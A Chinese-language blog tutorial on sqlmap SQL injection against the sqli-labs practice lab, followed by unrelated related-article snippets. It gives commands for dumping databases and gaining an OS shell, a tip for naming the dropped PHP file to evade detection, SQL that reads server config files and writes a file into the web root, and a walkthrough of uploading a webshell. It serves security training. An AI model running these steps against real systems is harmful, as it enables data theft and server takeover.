【滲透測試】SQLmap實戰:一鍵獲取MySQL數據庫權限

注:所有技術僅用于合法安全測試與防御研究,未經授權的攻擊行為屬違法犯罪,將承擔法律責任。


一、SQLmap常規用法

注意存放路徑:C:\Users\neo\AppData\Local\sqlmap\output

1、列出詳細過程和數據庫列表

sqlmap -u http://192.168.61.248:8080/sqli-labs-master/sqli-labs-master/Less-1/?id=1 --dbs -v 3 --batch

2、指定一個數據庫獲取表名:

sqlmap -u http://192.168.61.248:8080/sqli-labs-master/sqli-labs-master/Less-1/?id=1 --dbs -v 3 --batch -D security --tables

3、指定表名獲取字段名稱

sqlmap -u http://192.168.61.248:8080/sqli-labs-master/sqli-labs-master/Less-1/?id=1 --dbs -v 3 --batch -D security -T users --columns

4、獲取指定數據庫下指定數據表中的所有數據

sqlmap -u http://192.168.61.248:8080/sqli-labs-master/sqli-labs-master/Less-1/?id=1 --dbs -v 3 --batch -D security -T users --dump
?
#注意存放路徑:C:\Users\neo\AppData\Local\sqlmap\output\目標\dump\數據庫名稱

5、dump所有數據(不建議:提示大于3條包吃包住)

sqlmap -u http://192.168.61.248:8080/sqli-labs-master/sqli-labs-master/Less-1/?id=1 --dbs -v 3 --batch --dump

二、針對 MySQL 的 os-shell 使用方法

1. 基本命令

檢測注入點并嘗試獲取 os-shell

sqlmap -u "http://example.com/page.php?id=1" -dbs --os-shell

指定 MySQL 注入點: 如果已知目標是 MySQL 數據庫,可以使用--dbms參數指定,提高效率:

sqlmap -u "http://example.com/page.php?id=1" --dbms=mysql --os-shell

2. 針對 MySQL 的高級參數

指定 MySQL 配置: 如果已知 MySQL 的一些配置信息,可以直接指定以提高成功率:

sqlmap -u "http://example.com/page.php?id=1" --dbms=mysql --os-shell --mysql-db=test --mysql-user=root

強制使用文件寫入方式: 如果直接執行方式失敗,可以強制 SQLMap 使用文件寫入方式:

sqlmap -u "http://example.com/page.php?id=1" --dbms=mysql --os-shell --force-direct=0

指定 Web 目錄: 手動指定已知的 Web 目錄路徑:

sqlmap -u "http://example.com/page.php?id=1" --dbms=mysql --os-shell --web-root="/var/www/html"

指定臨時腳本文件名: 自定義臨時 PHP 腳本文件名,避免被安全軟件檢測:

sqlmap -u "http://example.com/page.php?id=1" --dbms=mysql --os-shell --file-name="img.php"

三、獲取 MySQL 環境 Web 目錄的方法

1. 通過 MySQL 系統變量

查詢數據目錄

SELECT @@datadir;

該命令返回 MySQL 數據文件存儲目錄,如/var/lib/mysql/,可結合服務器類型猜測 Web 目錄。

查詢配置文件路徑

SELECT @@basedir;

返回 MySQL 安裝目錄,通常為/usr/local/mysql/C:\Program Files\MySQL\MySQL Server 5.7\

2. 讀取 Web 服務器配置文件

如果擁有足夠權限,可以直接讀取 Web 服務器配置文件獲取 DocumentRoot:

讀取 Apache 配置

SELECT LOAD_FILE('/etc/httpd/conf/httpd.conf');
SELECT LOAD_FILE('/etc/apache2/apache2.conf');

讀取 Nginx 配置

SELECT LOAD_FILE('/etc/nginx/nginx.conf');
SELECT LOAD_FILE('/usr/local/nginx/conf/nginx.conf');

Windows 系統

SELECT LOAD_FILE('C:/Program Files/Apache Group/Apache2/conf/httpd.conf');
SELECT LOAD_FILE('C:/nginx/conf/nginx.conf');

在配置文件中搜索DocumentRoot(Apache)或root(Nginx)即可找到 Web 根目錄。

3. 利用錯誤信息泄露

通過構造特殊請求觸發 MySQL 錯誤,獲取路徑信息:

文件包含嘗試

http://example.com/index.php?id=../../../../../../etc/passwd

如果應用程序直接將參數傳遞給 MySQL 查詢,可能返回包含 Web 目錄的錯誤信息:

Warning: include(../../../../../../etc/passwd) failed to open stream: No such file or directory in /var/www/html/index.php on line 20

4. 寫入探針文件

如果擁有 FILE 權限,可以寫入一個包含 PHP 信息的探針文件:

SELECT '<?php phpinfo(); ?>' INTO OUTFILE '/var/www/html/phpinfo.php';

訪問http://example.com/phpinfo.php,在_SERVER["DOCUMENT_ROOT"]字段可以找到 Web 根目錄。

四、OS-Shell靶場實例

來到SQLI靶場第一關

啟動sqlmap工具,先掃一下靶場的數據庫,留做記錄

python sqlmap.py -u http://bachang/sqli-labs-master/Less-1/?id=1 --dbs

在使用 sqlmap 的 --os-shell 功能時,結合 Burp Suite(簡稱 BP)抓包分析可以清晰觀察 sqlmap 與目標服務器的交互過程,理解其如何利用 SQL 注入漏洞執行系統命令。

在SQLI靶場第一關,找到傳參點,使用BP抓包

將抓到的包請求保存到文件;less-1.txt中,然后放進SQLmap工具中跑包

python sqlmap.py -r "C:\Users\User\Desktop\less-1.txt" -dbms=mysql --os-shell

獲取靶場第一關的MySQL 數據文件存儲目錄:C:\Users\ruanjian\phpstudy_pro\Extensions\MySQL5.7.26\data\

?id=-1' UNION SELECT 1,@@datadir,3 --+

通過回顯結果可以知道,靶場網站是借助小皮工具搭建的,那么第一關的Web可寫路徑就是:

C:\Users\ruanjian\phpstudy_pro\WWW\bachang

在SQLmap工具中,選擇2,手動指定自定義的 Web 可寫目錄路徑。

解決權限問題后,重啟SQLmap工具

這里獲得了兩個url,訪問第一個url, 可以看到最下方有文件上傳的位置,在這里我們可以上傳一句話木馬。。

打開蟻劍連接,測試連接成功。

總結:sqlmap --os-shell 的使用需要以下條件。

①知道網站的物理路徑。

②網站路徑具有寫入的權限。

③sqlmap能夠跑出數據庫。


注:所有技術僅用于合法安全測試與防御研究,未經授權的攻擊行為屬違法犯罪,將承擔法律責任。

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/bicheng/94463.shtml
繁體地址,請注明出處:http://hk.pswp.cn/bicheng/94463.shtml
英文地址,請注明出處:http://en.pswp.cn/bicheng/94463.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

LeetCode 第464場周賽 第三天

1. 3658 奇數和與偶數和的最大公約數&#xff08;歐幾里得&#xff09; 鏈接&#xff1a;題目鏈接 題解&#xff1a; 題解時間復雜度O(logmin(a, b))&#xff1a; 獲得前n個奇、偶數的總和&#xff0c;由于數列為等差數列&#xff0c;等差數列和公式&#xff1a;(a1 an) * n …

IntelliJ IDEA 集成 ApiFox 操作與注解規范指南

一、IDEA裝入Apifox 1.安裝Apifox Helper 說明:在 IntelliJ IDEA 中安裝 ApiFox Helper 插件。 2.打開Apifox 說明:點擊 設置,在菜單中選擇 API訪問令牌。在彈出的窗口中輸入任意名稱,并選擇令牌的有效期(為了方便,我這里選擇了 無期限)。生成令牌后,由于 令牌只能復…

C++---雙指針

在C編程中&#xff0c;雙指針算法是一種高效的解題思路&#xff0c;其核心是通過設置兩個指針&#xff08;或索引&#xff09;遍歷數據結構&#xff08;如數組、鏈表、字符串等&#xff09;&#xff0c;利用指針的移動規則減少無效操作&#xff0c;從而將時間復雜度從暴力解法的…

【LLM】GLM-4.5模型架構和原理

note 文章目錄note一、GLM-4.5模型二、Slime RL強化學習訓練架構Reference一、GLM-4.5模型 大模型進展&#xff0c;GLM-4.5技術報告,https://arxiv.org/pdf/2508.06471&#xff0c;https://github.com/zai-org/GLM-4.5&#xff0c;包括GLM-4.5&#xff08;355B總參數&#xff…

LLM 中增量解碼與模型推理解讀

在【LLM】LLM 中 token 簡介與 bert 實操解讀一文中對 LLM 基礎定義進行了介紹&#xff0c;本文會對 LLM 中增量解碼與模型推理進行解讀。 一、LLM 中增量解碼定義 增量解碼&#xff08;Incremental Decoding&#xff09;是指在自回歸文本生成過程中&#xff0c;模型每次只計…

1.Spring Boot:超越配置地獄,重塑Java開發體驗

目錄 一、Spring框架&#xff1a;偉大的基石 歷史背景與挑戰 Spring的革命性貢獻 新的挑戰&#xff1a;配置地獄 二、Spring Boot&#xff1a;約定大于配置的革命 四大核心特性 1. 快速創建獨立應用 2. 自動配置&#xff1a;智能化的魔法 3. 起步依賴&#xff1a;依賴管…

assert使用方法

assert 是 Python 中用來進行 調試 和 驗證 的一個關鍵字&#xff0c;它用于測試一個 條件表達式 是否為真。如果條件為假&#xff0c;assert 會拋出一個 AssertionError 異常&#xff0c;通常帶有錯誤信息。語法&#xff1a;assert condition, "Error message"condi…

【實習總結】快速上手Git:關鍵命令整理

目錄 git的四大工作區域 git首次配置 克隆遠程倉庫 提交代碼到遠程倉庫 查看文件狀態&#xff08;可選&#xff09; 添加文件到暫存區 將暫存區的內容提交到本地倉庫 將本地的提交上傳到遠程倉庫 拉取并合并代碼 第一種方式 第二種方式 分支管理 查看與創建分支 …

02-開發環境搭建與工具鏈

第2課&#xff1a;開發環境搭建與工具鏈 &#x1f4da; 課程目標 掌握DevEco Studio的下載、安裝和配置熟悉HMS Core&#xff08;華為移動服務&#xff09;的使用了解鴻蒙模擬器與真機調試環境掌握必備開發工具的使用 &#x1f6e0;? DevEco Studio環境搭建 2.1 下載與安裝…

刪掉一個元素以后全為1的最長子數組-滑動窗口

1493. 刪掉一個元素以后全為 1 的最長子數組 - 力扣&#xff08;LeetCode&#xff09; Solution #include<iostream> #include<vector> using namespace std;class Solution { public://滑動窗口//動態維護一個窗口&#xff0c;窗口內只能有1個0&#xff0c;記錄窗…

【計算機網絡 | 第8篇】編碼與調制

文章目錄通信系統中的編碼與調制&#xff1a;從信道基礎到信號傳輸技術一、信道與通信電路&#x1f342;二、三種基本通信方式&#x1f4d6;1. 單向通信&#xff08;單工通信&#xff09;2. 雙向交替通信&#xff08;半雙工通信&#xff09;3. 雙向同時通信&#xff08;全雙工通…

當AI遇上終端:Gemini CLI的技術魔法與架構奧秘

"代碼不僅僅是指令的集合&#xff0c;更是思想的載體。當AI與終端相遇&#xff0c;會碰撞出怎樣的火花&#xff1f;" 在這個AI技術日新月異的時代&#xff0c;Google推出的Gemini CLI無疑是一顆璀璨的明星。它不僅僅是一個命令行工具&#xff0c;更是一個將人工智能無…

ViLU: Learning Vision-Language Uncertainties for Failure Prediction

研究方向&#xff1a;Image Captioning1. 論文介紹本文提出ViLU&#xff08;Vision-Language Uncertainties&#xff09;&#xff0c;一個用于學習視覺語言不確定性量化&#xff08;UQ&#xff09;和檢測視覺語言模型故障的事后框架。使用VLMs進行量化&#xff08;UQ&#xff0…

數據集筆記:百度地圖高德地圖坐標互轉

1 為什么會有高德坐標系和百度坐標系&#xff1f;根據《測繪法》和國家保密法規&#xff0c;在中國大陸范圍內的地理坐標數據必須做加密處理&#xff0c;不允許直接使用 WGS84&#xff08;openstreetmap&#xff09;所以出現了GCJ-02 和 BD-09高德、騰訊、谷歌中國都遵循 GCJ-0…

SkyWalking高效線程上下文管理機制:確保調用鏈中traceId來自同一個請求

SkyWalking Agent 能確保獲取到“正確”的 traceId,其核心在于它建立并維護了一套高效的線程上下文管理機制。這套機制確保了即使在復雜的多線程、異步環境下,也能將正確的上下文(包含 traceId)與當前正在執行的代碼邏輯關聯起來。 其工作原理可以概括為下圖所示的流程: …

Kafka-Eagle安裝

目錄Eagle環境安裝Mysql環境準備Kafka環境準備Eagle安裝Kafka-Eagle框架可以監控Kafka集群的整體運行情況&#xff0c;在生產環境中經常使用 Eagle環境安裝 Mysql環境準備 Eagle的安裝依賴于Mysql&#xff0c;Mysql主要用來存儲可視化展示的數據 將mysql文件夾及里面所有內…

Matlab系列(005) 一 歸一化

目錄1、前言2、什么是歸一化&#xff1f;3、為什么要進行歸一化4、歸一化方法詳解與Matlab實現5、總結1、前言 ? ??歸一化技術是數據預處理的核心環節&#xff0c;本文將深度解析主流歸一化方法&#xff0c;提供可復現Matlab代碼&#xff0c;并探討其在各領域中的應用場景。…

【K8s】整體認識K8s之namespace

命名空間將資源劃分為相互隔離的組。kubectl get namespace/ns系統默認創建四個namespace&#xff0c;分別是default、kube-node-lease、kube-public、kube-system。default 沒有指明使用其它命名空間的對象所使用的默認命名空間、kube-system 系統創建對象所使用的命名空間。…

rust語言 (1.88) egui (0.32.1) 學習筆記(逐行注釋)(十八) 使用表格

使用表格egui_extras::TableBuilder // Cargo.toml [dependencies] eframe "0.32.1" egui "0.32.1" egui_extras "0.32.1"egui_extras::Column::auto() 列寬根據內容自動計算.resizable(true) 允許用戶手動拖動調整列寬 fn main() -> efra…

【C#】構造函數實用場景總結

文章目錄前言一、構造函數是什么&#xff1f;二、構造函數的用法1.初始化對象&#xff0c;避免無效狀態2 初始化靜態成員3 構造函數重載4.構造函數鏈5. 單例模式&#xff0c;多次實例化保持一個對象6. 依賴注入7. 初始化只讀對象前言 構造函數是我們平常編程里經常能碰到的老伙…